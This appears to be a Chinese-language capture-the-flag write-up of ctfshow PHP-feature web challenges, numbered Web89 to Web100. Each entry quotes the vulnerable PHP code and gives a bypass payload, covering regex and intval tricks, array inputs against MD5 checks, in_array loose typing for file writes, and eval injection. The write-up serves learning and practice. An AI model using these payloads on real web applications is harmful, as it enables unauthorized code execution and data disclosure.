Ctfshow Web入門 - PHP特性(待續)
Web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
num陣列繞過
?num[]=0
Web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
base為0,在傳參時新增0x繞過
?num=0x117c
Web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
字元^和$同時使用時,表示精確匹配
/i匹配大小寫,/m匹配換行,一般不加/m是不匹配換行以後的左右兩端的內容
由於匹配是要以php開頭,我們可以在php之前加上換行繞過
?cmd=%0aphp
Web92-95
解法相似
1.利用90題中intval的特性使用不同進位制繞過
2.多了一句判斷
if(!strpos($num, "0")){ die("no no no!!!"); }
看似沒法繼續用八進位制繞過,其實使用非數字符號可以繞過,讓查詢返回false
<?php $s=' saber'; if(!strpos($s, "s")){ echo("no!"); } else echo("yes!") ?>
payload舉例:
?num=%20010574
Web96
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
沒想到啥,看payload是加./繞過的,讀取當前目錄下
Web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
經典的md5碰撞,參考我的另一篇部落格:https://www.cnblogs.com/echoDetected/p/12309225.html
但這裡沒法實現,原因不明
拿陣列可以繞過a[]=1&b[]=2
Web98
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
參考了https://www.cnblogs.com/NPFS/p/13798533.html
html的三元運算子
$_GET?$_GET=&$_POST:'flag';
表示如果GET傳參,則用POST傳參flag覆蓋
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
同理如果GET傳參是flag字串,則用cookie傳參的flag覆蓋
以下同理
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果傳參的HTTP_FLAG為flag字串,則讀取flag檔案,最後highlight顯示
就是說GET要傳參,但不能傳flag,要拿POST的HTTP_FLAG傳flag
Web99
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
首先是定義一個數組,然後向數組裡面插入隨機數,當GET傳參的內容符合數組裡隨機數時,向傳參名字的檔案裡寫入POST的content內容
不是很懂怎麼解法,看了hint
//in_array()函式有漏洞 沒有設定第三個引數 就可以形成自動轉換
//eg:n=1.php自動轉換為1
就是說in_array()的type沒有設定為true,則不存在的值會不檢測,自動轉換
Web100
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
ctfshow類開闢空間,提示我們flag在ctfshow類裡面
看了程式碼有迷惑我們的$v2('ctfshow')$v3,其中v2肯定是命令,v3傳分號,中間的('ctfshow')是沒有用的
v0是三個值相與,v2和v3不傳數字和v1數字相與就為1
payload:
?v1=1&v2=var_dump($ctfshow)&v3=;
或者v3直接用內聯註釋註釋掉
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
到這一步看不懂編碼問題,問了出題人才知道,替換0x2d(十六進位制ASCII的‘-’符號)